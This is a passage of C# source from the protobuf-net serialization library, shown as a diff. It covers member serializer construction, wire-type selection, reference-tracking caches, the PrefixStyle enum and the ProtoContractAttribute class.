|
||||
case ProtoTypeCode.Uri: return s; // Uri is decorated as string
|
||||
case ProtoTypeCode.Guid: return new Guid(s);
|
||||
}
|
||||
}
|
||||
#if FEAT_IKVM
|
||||
if (Helpers.IsEnum(type)) return value; // return the underlying type instead
|
||||
System.Type convertType = null;
|
||||
switch(Helpers.GetTypeCode(type))
|
||||
{
|
||||
case ProtoTypeCode.SByte: convertType = typeof(sbyte); break;
|
||||
case ProtoTypeCode.Int16: convertType = typeof(short); break;
|
||||
case ProtoTypeCode.Int32: convertType = typeof(int); break;
|
||||
case ProtoTypeCode.Int64: convertType = typeof(long); break;
|
||||
case ProtoTypeCode.Byte: convertType = typeof(byte); break;
|
||||
case ProtoTypeCode.UInt16: convertType = typeof(ushort); break;
|
||||
case ProtoTypeCode.UInt32: convertType = typeof(uint); break;
|
||||
case ProtoTypeCode.UInt64: convertType = typeof(ulong); break;
|
||||
case ProtoTypeCode.Single: convertType = typeof(float); break;
|
||||
case ProtoTypeCode.Double: convertType = typeof(double); break;
|
||||
case ProtoTypeCode.Decimal: convertType = typeof(decimal); break;
|
||||
}
|
||||
if(convertType != null) return Convert.ChangeType(value, convertType, CultureInfo.InvariantCulture);
|
||||
throw new ArgumentException("Unable to process default value: " + value + ", " + type.FullName);
|
||||
#else
|
||||
if (Helpers.IsEnum(type)) return Enum.ToObject(type, value);
|
||||
return Convert.ChangeType(value, type, CultureInfo.InvariantCulture);
|
||||
#endif
|
||||
}
|
||||
|
||||
private IProtoSerializer serializer;
|
||||
internal IProtoSerializer Serializer
|
||||
{
|
||||
get
|
||||
{
|
||||
if (serializer == null) serializer = BuildSerializer();
|
||||
return serializer;
|
||||
}
|
||||
}
|
||||
|
||||
private DataFormat dataFormat;
|
||||
/// <summary>
|
||||
/// Specifies the rules used to process the field; this is used to determine the most appropriate
|
||||
/// wite-type, but also to describe subtypes <i>within</i> that wire-type (such as SignedVariant)
|
||||
/// </summary>
|
||||
public DataFormat DataFormat {
|
||||
get { return dataFormat; }
|
||||
set { ThrowIfFrozen(); this.dataFormat = value; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether this field should follow strict encoding rules; this means (for example) that if a "fixed32"
|
||||
/// is encountered when "variant" is defined, then it will fail (throw an exception) when parsing. Note that
|
||||
/// when serializing the defined type is always used.
|
||||
/// </summary>
|
||||
public bool IsStrict
|
||||
{
|
||||
get { return HasFlag(OPTIONS_IsStrict); }
|
||||
set { SetFlag(OPTIONS_IsStrict, value, true); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether this field should use packed encoding (which can save lots of space for repeated primitive values).
|
||||
/// This option only applies to list/array data of primitive types (int, double, etc).
|
||||
/// </summary>
|
||||
public bool IsPacked
|
||||
{
|
||||
get { return HasFlag(OPTIONS_IsPacked); }
|
||||
set { SetFlag(OPTIONS_IsPacked, value, true); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether this field should *repace* existing values (the default is false, meaning *append*).
|
||||
/// This option only applies to list/array data.
|
||||
/// </summary>
|
||||
public bool OverwriteList
|
||||
{
|
||||
get { return HasFlag(OPTIONS_OverwriteList); }
|
||||
set { SetFlag(OPTIONS_OverwriteList, value, true); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether this field is mandatory.
|
||||
/// </summary>
|
||||
public bool IsRequired
|
||||
{
|
||||
get { return HasFlag(OPTIONS_IsRequired); }
|
||||
set { SetFlag(OPTIONS_IsRequired, value, true); }
|
||||
}
|
||||
|
||||
private bool asReference;
|
||||
/// <summary>
|
||||
/// Enables full object-tracking/full-graph support.
|
||||
/// </summary>
|
||||
public bool AsReference
|
||||
{
|
||||
get { return asReference; }
|
||||
set { ThrowIfFrozen(); asReference = value; }
|
||||
}
|
||||
|
||||
private bool dynamicType;
|
||||
/// <summary>
|
||||
/// Embeds the type information into the stream, allowing usage with types not known in advance.
|
||||
/// </summary>
|
||||
public bool DynamicType
|
||||
{
|
||||
get { return dynamicType; }
|
||||
set { ThrowIfFrozen(); dynamicType = value; }
|
||||
}
|
||||
|
||||
private MethodInfo getSpecified, setSpecified;
|
||||
/// <summary>
|
||||
/// Specifies methods for working with optional data members.
|
||||
/// </summary>
|
||||
/// <param name="getSpecified">Provides a method (null for none) to query whether this member should
|
||||
/// be serialized; it must be of the form "bool {Method}()". The member is only serialized if the
|
||||
/// method returns true.</param>
|
||||
/// <param name="setSpecified">Provides a method (null for none) to indicate that a member was
|
||||
/// deserialized; it must be of the form "void {Method}(bool)", and will be called with "true"
|
||||
/// when data is found.</param>
|
||||
public void SetSpecified(MethodInfo getSpecified, MethodInfo setSpecified)
|
||||
{
|
||||
if (getSpecified != null)
|
||||
{
|
||||
if (getSpecified.ReturnType != model.MapType(typeof(bool))
|
||||
|| getSpecified.IsStatic
|
||||
|| getSpecified.GetParameters().Length != 0)
|
||||
{
|
||||
throw new ArgumentException("Invalid pattern for checking member-specified", "getSpecified");
|
||||
}
|
||||
}
|
||||
if (setSpecified != null)
|
||||
{
|
||||
ParameterInfo[] args;
|
||||
if (setSpecified.ReturnType != model.MapType(typeof(void))
|
||||
|| setSpecified.IsStatic
|
||||
|| (args = setSpecified.GetParameters()).Length != 1
|
||||
|| args[0].ParameterType != model.MapType(typeof(bool)))
|
||||
{
|
||||
throw new ArgumentException("Invalid pattern for setting member-specified", "setSpecified");
|
||||
}
|
||||
}
|
||||
ThrowIfFrozen();
|
||||
this.getSpecified = getSpecified;
|
||||
this.setSpecified = setSpecified;
|
||||
|
||||
}
|
||||
private void ThrowIfFrozen()
|
||||
{
|
||||
if (serializer != null) throw new InvalidOperationException("The type cannot be changed once a serializer has been generated");
|
||||
}
|
||||
private IProtoSerializer BuildSerializer()
|
||||
{
|
||||
int opaqueToken = 0;
|
||||
try
|
||||
{
|
||||
model.TakeLock(ref opaqueToken);// check nobody is still adding this type
|
||||
WireType wireType;
|
||||
Type finalType = itemType == null ? memberType : itemType;
|
||||
IProtoSerializer ser = TryGetCoreSerializer(model, dataFormat, finalType, out wireType, asReference, dynamicType, OverwriteList, true);
|
||||
if (ser == null)
|
||||
{
|
||||
throw new InvalidOperationException("No serializer defined for type: " + finalType.FullName);
|
||||
}
|
||||
|
||||
// apply tags
|
||||
if (itemType != null && SupportNull)
|
||||
{
|
||||
if(IsPacked)
|
||||
{
|
||||
throw new NotSupportedException("Packed encodings cannot support null values");
|
||||
}
|
||||
ser = new TagDecorator(NullDecorator.Tag, wireType, IsStrict, ser);
|
||||
ser = new NullDecorator(model, ser);
|
||||
ser = new TagDecorator(fieldNumber, WireType.StartGroup, false, ser);
|
||||
}
|
||||
else
|
||||
{
|
||||
ser = new TagDecorator(fieldNumber, wireType, IsStrict, ser);
|
||||
}
|
||||
// apply lists if appropriate
|
||||
if (itemType != null)
|
||||
{
|
||||
#if NO_GENERICS
|
||||
Type underlyingItemType = itemType;
|
||||
#else
|
||||
Type underlyingItemType = SupportNull ? itemType : Helpers.GetUnderlyingType(itemType) ?? itemType;
|
||||
#endif
|
||||
Helpers.DebugAssert(underlyingItemType == ser.ExpectedType, "Wrong type in the tail; expected {0}, received {1}", ser.ExpectedType, underlyingItemType);
|
||||
if (memberType.IsArray)
|
||||
{
|
||||
ser = new ArrayDecorator(model, ser, fieldNumber, IsPacked, wireType, memberType, OverwriteList, SupportNull);
|
||||
}
|
||||
else
|
||||
{
|
||||
ser = new ListDecorator(model, memberType, defaultType, ser, fieldNumber, IsPacked, wireType, member != null && PropertyDecorator.CanWrite(model, member), OverwriteList, SupportNull);
|
||||
}
|
||||
}
|
||||
else if (defaultValue != null && !IsRequired && getSpecified == null)
|
||||
{ // note: "ShouldSerialize*" / "*Specified" / etc ^^^^ take precedence over defaultValue,
|
||||
// as does "IsRequired"
|
||||
ser = new DefaultValueDecorator(model, defaultValue, ser);
|
||||
}
|
||||
if (memberType == model.MapType(typeof(Uri)))
|
||||
{
|
||||
ser = new UriDecorator(model, ser);
|
||||
}
|
||||
if (member != null)
|
||||
{
|
||||
PropertyInfo prop = member as PropertyInfo;
|
||||
if (prop != null)
|
||||
{
|
||||
ser = new PropertyDecorator(model, parentType, (PropertyInfo)member, ser);
|
||||
}
|
||||
else
|
||||
{
|
||||
FieldInfo fld = member as FieldInfo;
|
||||
if (fld != null)
|
||||
{
|
||||
ser = new FieldDecorator(parentType, (FieldInfo)member, ser);
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new InvalidOperationException();
|
||||
}
|
||||
}
|
||||
if (getSpecified != null || setSpecified != null)
|
||||
{
|
||||
ser = new MemberSpecifiedDecorator(getSpecified, setSpecified, ser);
|
||||
}
|
||||
}
|
||||
return ser;
|
||||
}
|
||||
finally
|
||||
{
|
||||
model.ReleaseLock(opaqueToken);
|
||||
}
|
||||
}
|
||||
|
||||
private static WireType GetIntWireType(DataFormat format, int width) {
|
||||
switch(format) {
|
||||
case DataFormat.ZigZag: return WireType.SignedVariant;
|
||||
case DataFormat.FixedSize: return width == 32 ? WireType.Fixed32 : WireType.Fixed64;
|
||||
case DataFormat.TwosComplement:
|
||||
case DataFormat.Default: return WireType.Variant;
|
||||
default: throw new InvalidOperationException();
|
||||
}
|
||||
}
|
||||
private static WireType GetDateTimeWireType(DataFormat format)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case DataFormat.Group: return WireType.StartGroup;
|
||||
case DataFormat.FixedSize: return WireType.Fixed64;
|
||||
case DataFormat.Default: return WireType.String;
|
||||
default: throw new InvalidOperationException();
|
||||
}
|
||||
}
|
||||
|
||||
internal static IProtoSerializer TryGetCoreSerializer(RuntimeTypeModel model, DataFormat dataFormat, Type type, out WireType defaultWireType,
|
||||
bool asReference, bool dynamicType, bool overwriteList, bool allowComplexTypes)
|
||||
{
|
||||
#if !NO_GENERICS
|
||||
type = Helpers.GetUnderlyingType(type) ?? type;
|
||||
#endif
|
||||
if (Helpers.IsEnum(type))
|
||||
{
|
||||
if (allowComplexTypes && model != null)
|
||||
{
|
||||
// need to do this before checking the typecode; an int enum will report Int32 etc
|
||||
defaultWireType = WireType.Variant;
|
||||
return new EnumSerializer(type, model.GetEnumMap(type));
|
||||
}
|
||||
else
|
||||
{ // enum is fine for adding as a meta-type
|
||||
defaultWireType = WireType.None;
|
||||
return null;
|
||||
}
|
||||
}
|
||||
ProtoTypeCode code = Helpers.GetTypeCode(type);
|
||||
switch (code)
|
||||
{
|
||||
case ProtoTypeCode.Int32:
|
||||
defaultWireType = GetIntWireType(dataFormat, 32);
|
||||
return new Int32Serializer(model);
|
||||
case ProtoTypeCode.UInt32:
|
||||
defaultWireType = GetIntWireType(dataFormat, 32);
|
||||
return new UInt32Serializer(model);
|
||||
case ProtoTypeCode.Int64:
|
||||
defaultWireType = GetIntWireType(dataFormat, 64);
|
||||
return new Int64Serializer(model);
|
||||
case ProtoTypeCode.UInt64:
|
||||
defaultWireType = GetIntWireType(dataFormat, 64);
|
||||
return new UInt64Serializer(model);
|
||||
case ProtoTypeCode.String:
|
||||
defaultWireType = WireType.String;
|
||||
if (asReference)
|
||||
{
|
||||
return new NetObjectSerializer(model, model.MapType(typeof(string)), 0, BclHelpers.NetObjectOptions.AsReference);
|
||||
}
|
||||
return new StringSerializer(model);
|
||||
case ProtoTypeCode.Single:
|
||||
defaultWireType = WireType.Fixed32;
|
||||
return new SingleSerializer(model);
|
||||
case ProtoTypeCode.Double:
|
||||
defaultWireType = WireType.Fixed64;
|
||||
return new DoubleSerializer(model);
|
||||
case ProtoTypeCode.Boolean:
|
||||
defaultWireType = WireType.Variant;
|
||||
return new BooleanSerializer(model);
|
||||
case ProtoTypeCode.DateTime:
|
||||
defaultWireType = GetDateTimeWireType(dataFormat);
|
||||
return new DateTimeSerializer(model);
|
||||
case ProtoTypeCode.Decimal:
|
||||
defaultWireType = WireType.String;
|
||||
return new DecimalSerializer(model);
|
||||
case ProtoTypeCode.Byte:
|
||||
defaultWireType = GetIntWireType(dataFormat, 32);
|
||||
return new ByteSerializer(model);
|
||||
case ProtoTypeCode.SByte:
|
||||
defaultWireType = GetIntWireType(dataFormat, 32);
|
||||
return new SByteSerializer(model);
|
||||
case ProtoTypeCode.Char:
|
||||
defaultWireType = WireType.Variant;
|
||||
return new CharSerializer(model);
|
||||
case ProtoTypeCode.Int16:
|
||||
defaultWireType = GetIntWireType(dataFormat, 32);
|
||||
return new Int16Serializer(model);
|
||||
case ProtoTypeCode.UInt16:
|
||||
defaultWireType = GetIntWireType(dataFormat, 32);
|
||||
return new UInt16Serializer(model);
|
||||
case ProtoTypeCode.TimeSpan:
|
||||
defaultWireType = GetDateTimeWireType(dataFormat);
|
||||
return new TimeSpanSerializer(model);
|
||||
case ProtoTypeCode.Guid:
|
||||
defaultWireType = WireType.String;
|
||||
return new GuidSerializer(model);
|
||||
case ProtoTypeCode.Uri:
|
||||
defaultWireType = WireType.String;
|
||||
return new StringSerializer(model); // treat as string; wrapped in decorator later
|
||||
case ProtoTypeCode.ByteArray:
|
||||
defaultWireType = WireType.String;
|
||||
return new BlobSerializer(model, overwriteList);
|
||||
case ProtoTypeCode.Type:
|
||||
defaultWireType = WireType.String;
|
||||
return new SystemTypeSerializer(model);
|
||||
}
|
||||
IProtoSerializer parseable = model.AllowParseableTypes ? ParseableSerializer.TryCreate(type, model) : null;
|
||||
if (parseable != null)
|
||||
{
|
||||
defaultWireType = WireType.String;
|
||||
return parseable;
|
||||
}
|
||||
if (allowComplexTypes && model != null)
|
||||
{
|
||||
int key = model.GetKey(type, false, true);
|
||||
if (asReference || dynamicType)
|
||||
{
|
||||
defaultWireType = dataFormat == DataFormat.Group ? WireType.StartGroup : WireType.String;
|
||||
BclHelpers.NetObjectOptions options = BclHelpers.NetObjectOptions.None;
|
||||
if (asReference) options |= BclHelpers.NetObjectOptions.AsReference;
|
||||
if (dynamicType) options |= BclHelpers.NetObjectOptions.DynamicType;
|
||||
if (key >= 0)
|
||||
{ // exists
|
||||
if (asReference && Helpers.IsValueType(type))
|
||||
{
|
||||
string message = "AsReference cannot be used with value-types";
|
||||
|
||||
if (type.Name == "KeyValuePair`2")
|
||||
{
|
||||
message += "; please see http://stackoverflow.com/q/14436606/";
|
||||
}
|
||||
else
|
||||
{
|
||||
message += ": " + type.FullName;
|
||||
}
|
||||
throw new InvalidOperationException(message);
|
||||
}
|
||||
MetaType meta = model[type];
|
||||
if (asReference && meta.IsAutoTuple) options |= BclHelpers.NetObjectOptions.LateSet;
|
||||
if (meta.UseConstructor) options |= BclHelpers.NetObjectOptions.UseConstructor;
|
||||
}
|
||||
return new NetObjectSerializer(model, type, key, options);
|
||||
}
|
||||
if (key >= 0)
|
||||
{
|
||||
defaultWireType = dataFormat == DataFormat.Group ? WireType.StartGroup : WireType.String;
|
||||
return new SubItemSerializer(type, key, model[type], true);
|
||||
}
|
||||
}
|
||||
defaultWireType = WireType.None;
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
private string name;
|
||||
internal void SetName(string name)
|
||||
{
|
||||
ThrowIfFrozen();
|
||||
this.name = name;
|
||||
}
|
||||
/// <summary>
|
||||
/// Gets the logical name for this member in the schema (this is not critical for binary serialization, but may be used
|
||||
/// when inferring a schema).
|
||||
/// </summary>
|
||||
public string Name
|
||||
{
|
||||
get { return Helpers.IsNullOrEmpty(name) ? member.Name : name; }
|
||||
}
|
||||
|
||||
private const byte
|
||||
OPTIONS_IsStrict = 1,
|
||||
OPTIONS_IsPacked = 2,
|
||||
OPTIONS_IsRequired = 4,
|
||||
OPTIONS_OverwriteList = 8,
|
||||
OPTIONS_SupportNull = 16;
|
||||
|
||||
private byte flags;
|
||||
private bool HasFlag(byte flag) { return (flags & flag) == flag; }
|
||||
private void SetFlag(byte flag, bool value, bool throwIfFrozen)
|
||||
{
|
||||
if (throwIfFrozen && HasFlag(flag) != value)
|
||||
{
|
||||
ThrowIfFrozen();
|
||||
}
|
||||
if (value)
|
||||
flags |= flag;
|
||||
else
|
||||
flags = (byte)(flags & ~flag);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Should lists have extended support for null values? Note this makes the serialization less efficient.
|
||||
/// </summary>
|
||||
public bool SupportNull
|
||||
{
|
||||
get { return HasFlag(OPTIONS_SupportNull); }
|
||||
set { SetFlag(OPTIONS_SupportNull, value, true);}
|
||||
}
|
||||
|
||||
internal string GetSchemaTypeName(bool applyNetObjectProxy, ref bool requiresBclImport)
|
||||
{
|
||||
Type effectiveType = ItemType;
|
||||
if (effectiveType == null) effectiveType = MemberType;
|
||||
return model.GetSchemaTypeName(effectiveType, DataFormat, applyNetObjectProxy && asReference, applyNetObjectProxy && dynamicType, ref requiresBclImport);
|
||||
}
|
||||
|
||||
|
||||
internal class Comparer : System.Collections.IComparer
|
||||
#if !NO_GENERICS
|
||||
, System.Collections.Generic.IComparer<ValueMember>
|
||||
#endif
|
||||
{
|
||||
public static readonly Comparer Default = new Comparer();
|
||||
public int Compare(object x, object y)
|
||||
{
|
||||
return Compare(x as ValueMember, y as ValueMember);
|
||||
}
|
||||
public int Compare(ValueMember x, ValueMember y)
|
||||
{
|
||||
if (ReferenceEquals(x, y)) return 0;
|
||||
if (x == null) return -1;
|
||||
if (y == null) return 1;
|
||||
|
||||
return x.FieldNumber.CompareTo(y.FieldNumber);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,232 @@
|
|||
using System;
|
||||
using System.Collections;
|
||||
using ProtoBuf.Meta;
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
internal sealed class NetObjectCache
|
||||
{
|
||||
internal const int Root = 0;
|
||||
private MutableList underlyingList;
|
||||
|
||||
private MutableList List
|
||||
{
|
||||
get
|
||||
{
|
||||
if (underlyingList == null) underlyingList = new MutableList();
|
||||
return underlyingList;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
internal object GetKeyedObject(int key)
|
||||
{
|
||||
if (key-- == Root)
|
||||
{
|
||||
if (rootObject == null) throw new ProtoException("No root object assigned");
|
||||
return rootObject;
|
||||
}
|
||||
BasicList list = List;
|
||||
|
||||
if (key < 0 || key >= list.Count)
|
||||
{
|
||||
Helpers.DebugWriteLine("Missing key: " + key);
|
||||
throw new ProtoException("Internal error; a missing key occurred");
|
||||
}
|
||||
|
||||
object tmp = list[key];
|
||||
if (tmp == null) throw new ProtoException("A deferred key does not have a value yet");
|
||||
return tmp;
|
||||
}
|
||||
|
||||
internal void SetKeyedObject(int key, object value)
|
||||
{
|
||||
if (key-- == Root)
|
||||
{
|
||||
if (value == null) throw new ArgumentNullException("value");
|
||||
if (rootObject != null && ((object)rootObject != (object)value)) throw new ProtoException("The root object cannot be reassigned");
|
||||
rootObject = value;
|
||||
}
|
||||
else
|
||||
{
|
||||
MutableList list = List;
|
||||
if (key < list.Count)
|
||||
{
|
||||
object oldVal = list[key];
|
||||
if (oldVal == null)
|
||||
{
|
||||
list[key] = value;
|
||||
}
|
||||
else if (!ReferenceEquals(oldVal, value))
|
||||
{
|
||||
throw new ProtoException("Reference-tracked objects cannot change reference");
|
||||
} // otherwise was the same; nothing to do
|
||||
}
|
||||
else if (key != list.Add(value))
|
||||
{
|
||||
throw new ProtoException("Internal error; a key mismatch occurred");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private object rootObject;
|
||||
internal int AddObjectKey(object value, out bool existing)
|
||||
{
|
||||
if (value == null) throw new ArgumentNullException("value");
|
||||
|
||||
if ((object)value == (object)rootObject) // (object) here is no-op, but should be
|
||||
{ // preserved even if this was typed - needs ref-check
|
||||
existing = true;
|
||||
return Root;
|
||||
}
|
||||
|
||||
string s = value as string;
|
||||
BasicList list = List;
|
||||
int index;
|
||||
|
||||
#if NO_GENERICS
|
||||
|
||||
if(s == null)
|
||||
{
|
||||
if (objectKeys == null)
|
||||
{
|
||||
objectKeys = new ReferenceHashtable();
|
||||
index = -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
object tmp = objectKeys[value];
|
||||
index = tmp == null ? -1 : (int) tmp;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (stringKeys == null)
|
||||
{
|
||||
stringKeys = new Hashtable();
|
||||
index = -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
object tmp = stringKeys[s];
|
||||
index = tmp == null ? -1 : (int) tmp;
|
||||
}
|
||||
}
|
||||
#else
|
||||
|
||||
if (s == null)
|
||||
{
|
||||
#if CF || PORTABLE // CF has very limited proper object ref-tracking; so instead, we'll search it the hard way
|
||||
index = list.IndexOfReference(value);
|
||||
#else
|
||||
if (objectKeys == null)
|
||||
{
|
||||
objectKeys = new System.Collections.Generic.Dictionary<object, int>(ReferenceComparer.Default);
|
||||
index = -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!objectKeys.TryGetValue(value, out index)) index = -1;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
if (stringKeys == null)
|
||||
{
|
||||
stringKeys = new System.Collections.Generic.Dictionary<string, int>();
|
||||
index = -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!stringKeys.TryGetValue(s, out index)) index = -1;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
if (!(existing = index >= 0))
|
||||
{
|
||||
index = list.Add(value);
|
||||
|
||||
if (s == null)
|
||||
{
|
||||
#if !CF && !PORTABLE // CF can't handle the object keys very well
|
||||
objectKeys.Add(value, index);
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
stringKeys.Add(s, index);
|
||||
}
|
||||
}
|
||||
return index + 1;
|
||||
}
|
||||
|
||||
private int trapStartIndex; // defaults to 0 - optimization for RegisterTrappedObject
|
||||
// to make it faster at seeking to find deferred-objects
|
||||
|
||||
internal void RegisterTrappedObject(object value)
|
||||
{
|
||||
if (rootObject == null)
|
||||
{
|
||||
rootObject = value;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (underlyingList != null)
|
||||
{
|
||||
for (int i = trapStartIndex; i < underlyingList.Count; i++)
|
||||
{
|
||||
trapStartIndex = i + 1; // things never *become* null; whether or
|
||||
// not the next item is null, it will never
|
||||
// need to be checked again
|
||||
|
||||
if (underlyingList[i] == null)
|
||||
{
|
||||
underlyingList[i] = value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
#if NO_GENERICS
|
||||
private ReferenceHashtable objectKeys;
|
||||
private System.Collections.Hashtable stringKeys;
|
||||
private class ReferenceHashtable : System.Collections.Hashtable
|
||||
{
|
||||
protected override int GetHash(object key)
|
||||
{
|
||||
return System.Runtime.CompilerServices.RuntimeHelpers.GetHashCode(key);
|
||||
}
|
||||
protected override bool KeyEquals(object item, object key)
|
||||
{
|
||||
return item == key;
|
||||
}
|
||||
}
|
||||
#else
|
||||
|
||||
private System.Collections.Generic.Dictionary<string, int> stringKeys;
|
||||
|
||||
#if !CF && !PORTABLE // CF lacks the ability to get a robust reference-based hash-code, so we'll do it the harder way instead
|
||||
private System.Collections.Generic.Dictionary<object, int> objectKeys;
|
||||
private sealed class ReferenceComparer : System.Collections.Generic.IEqualityComparer<object>
|
||||
{
|
||||
public readonly static ReferenceComparer Default = new ReferenceComparer();
|
||||
private ReferenceComparer() { }
|
||||
|
||||
bool System.Collections.Generic.IEqualityComparer<object>.Equals(object x, object y)
|
||||
{
|
||||
return x == y; // ref equality
|
||||
}
|
||||
|
||||
int System.Collections.Generic.IEqualityComparer<object>.GetHashCode(object obj)
|
||||
{
|
||||
return System.Runtime.CompilerServices.RuntimeHelpers.GetHashCode(obj);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the type of prefix that should be applied to messages.
|
||||
/// </summary>
|
||||
public enum PrefixStyle
|
||||
{
|
||||
/// <summary>
|
||||
/// No length prefix is applied to the data; the data is terminated only be the end of the stream.
|
||||
/// </summary>
|
||||
None,
|
||||
/// <summary>
|
||||
/// A base-128 length prefix is applied to the data (efficient for short messages).
|
||||
/// </summary>
|
||||
Base128,
|
||||
/// <summary>
|
||||
/// A fixed-length (little-endian) length prefix is applied to the data (useful for compatibility).
|
||||
/// </summary>
|
||||
Fixed32,
|
||||
/// <summary>
|
||||
/// A fixed-length (big-endian) length prefix is applied to the data (useful for compatibility).
|
||||
/// </summary>
|
||||
Fixed32BigEndian
|
||||
}
|
||||
}
|
|
@ -0,0 +1,142 @@
|
|||
using System;
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Indicates that a type is defined for protocol-buffer serialization.
|
||||
/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Interface,
|
||||
AllowMultiple = false, Inherited = false)]
|
||||
public sealed class ProtoContractAttribute : Attribute
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets or sets the defined name of the type.
|
||||
/// </summary>
|
||||
public string Name { get { return name; } set { name = value; } }
|
||||
private string name;
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets the fist offset to use with implicit field tags;
|
||||
/// only uesd if ImplicitFields is set.
|
||||
/// </summary>
|
||||
public int ImplicitFirstTag
|
||||
{
|
||||
get { return implicitFirstTag; }
|
||||
set
|
||||
{
|
||||
if (value < 1) throw new ArgumentOutOfRangeException("ImplicitFirstTag");
|
||||
implicitFirstTag = value;
|
||||
}
|
||||
}
|
||||
private int implicitFirstTag;
|
||||
|
||||
/// <summary>
|
||||
/// If specified, alternative contract markers (such as markers for XmlSerailizer or DataContractSerializer) are ignored.
|
||||
/// </summary>
|
||||
public bool UseProtoMembersOnly
|
||||
{
|
||||
get { return HasFlag(OPTIONS_UseProtoMembersOnly); }
|
||||
set { SetFlag(OPTIONS_UseProtoMembersOnly, value); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// If specified, do NOT treat this type as a list, even if it looks like one.
|
||||
/// </summary>
|
||||
public bool IgnoreListHandling
|
||||
{
|
||||
get { return HasFlag(OPTIONS_IgnoreListHandling); }
|
||||
set { SetFlag(OPTIONS_IgnoreListHandling, value); }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets the mechanism used to automatically infer field tags
|
||||
/// for members. This option should be used in advanced scenarios only.
|
||||
/// Please review the important notes against the ImplicitFields enumeration.
|
||||
/// </summary>
|
||||
public ImplicitFields ImplicitFields { get { return implicitFields; } set { implicitFields = value; } }
|
||||
private ImplicitFields implicitFields;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Enables/disables automatic tag generation based on the existing name / order
|
||||
/// of the defined members. This option is not used for members marked
|
||||
/// with ProtoMemberAttribute, as intended to provide compatibility with
|
||||
/// WCF serialization. WARNING: when adding new fields you must take
|
||||
/// care to increase the Order for new elements, otherwise data corruption
|
||||
/// may occur.
|
||||
/// </summary>
|
||||
/// <remarks>If not explicitly specified, the default is assumed from Serializer.GlobalOptions.InferTagFromName.</remarks>
|
||||
public bool InferTagFromName
|
||||
{
|
||||
get { return HasFlag(OPTIONS_InferTagFromName); }
|
||||
set {
|
||||
SetFlag(OPTIONS_InferTagFromName, value);
|
||||
SetFlag(OPTIONS_InferTagFromNameHasValue, true);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Has a InferTagFromName value been explicitly set? if not, the default from the type-model is assumed.
|
||||
/// </summary>
|
||||
internal bool InferTagFromNameHasValue
|
||||
{
|
||||
get { return HasFlag(OPTIONS_InferTagFromNameHasValue); }
|
||||
}
|
||||
|
||||
private int dataMemberOffset;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies an offset to apply to [DataMember(Order=...)] markers;
|
||||
/// this is useful when working with mex-generated classes that have
|
||||
/// a different origin (usually 1 vs 0) than the original data-contract.
|
||||
///
|
||||
/// This value is added to the Order of each member.
|
||||
/// </summary>
|
||||
public int DataMemberOffset
|
||||
{
|
||||
get { return dataMemberOffset; }
|
||||
set { dataMemberOffset = value; }
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// If true, the constructor for the type is bypassed during deserialization, meaning any field initializers
|
||||
/// or other initialization code is skipped.
|
||||
/// </summary>
|
||||
public bool SkipConstructor
|
||||
{
|
||||
get { return HasFlag(OPTIONS_SkipConstructor); }
|
||||
set { SetFlag(OPTIONS_SkipConstructor, value); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Should this type be treated as a reference by default? Please also see the implications of this,
|
||||
/// as recorded on ProtoMemberAttribute.AsReference
|
||||
/// </summary>
|
||||
public bool AsReferenceDefault
|
||||
{
|
||||
get { return HasFlag(OPTIONS_AsReferenceDefault); }
|
||||
set {
|
||||
SetFlag(OPTIONS_AsReferenceDefault, value);
|
||||
}
|
||||
}
|
||||
|
||||
private bool HasFlag(byte flag) { return (flags & flag) == flag; }
|
||||
private void SetFlag(byte flag, bool value)
|
||||
{
|
||||
if (value) flags |= flag;
|
||||
else flags = (byte)(flags & ~flag);
|
||||
}
|
||||
|
||||
private byte flags;
|
||||
|
||||
private const byte
|
||||
OPTIONS_InferTagFromName = 1,
|
||||
OPTIONS_InferTagFromNameHasValue = 2,
|
||||
OPTIONS_UseProtoMembersOnly = 4,
|
||||
OPTIONS_SkipConstructor = 8,
|
||||
OPTIONS_IgnoreListHandling = 16,
|
||||
OPTIONS_AsReferenceDefault = 32;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,37 @@
|
|||
using System;
|
||||
|
||||
namespace ProtoBuf
|
||||
{
|
||||
/// <summary>
|
||||
/// Used to define protocol-buffer specific behavior for
|
||||
/// enumerated values.
|
||||
